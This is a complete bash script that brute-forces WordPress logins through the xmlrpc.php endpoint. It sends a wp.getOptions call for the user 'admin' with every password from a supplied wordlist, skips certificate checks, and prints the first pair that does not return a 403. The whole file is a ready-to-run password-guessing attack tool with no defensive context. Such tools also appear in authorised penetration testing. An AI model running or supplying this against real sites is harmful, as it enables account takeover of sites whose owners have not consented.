xmlrpc-bruteforce.sh

#!/bin/bash

if [[ $1 == '' || $2 == '' ]]
then
    echo "Execution: ./xmlrpc-bruteforce.sh https://<URL>/xmlrpc.php <password_wordlist_path>"
    exit
fi

USER="admin"

for PASSWORD in $(cat $2)
do
    echo "Trying: $USER:$PASSWORD"  
    RESPONSE=$(curl -i -s -k -X $'POST' --data-binary $'<methodCall>\x0d\x0a<methodName>wp.getOptions</methodName>\x0d\x0a<params>\x0d\x0a    <param><value>test</value></param>\x0d\x0a    <param><value>'$USER$'</value></param>\x0d\x0a<param><value>'$PASSWORD$'</value></param>\x0d\x0a</params>\x0d\x0a</methodCall>' $1 | grep "403")
    
    if [[ $RESPONSE == '' ]]
    then
        clear
        echo -e "Found: \e[5m\e[42m$USER:$PASSWORD"
        exit
    fi
done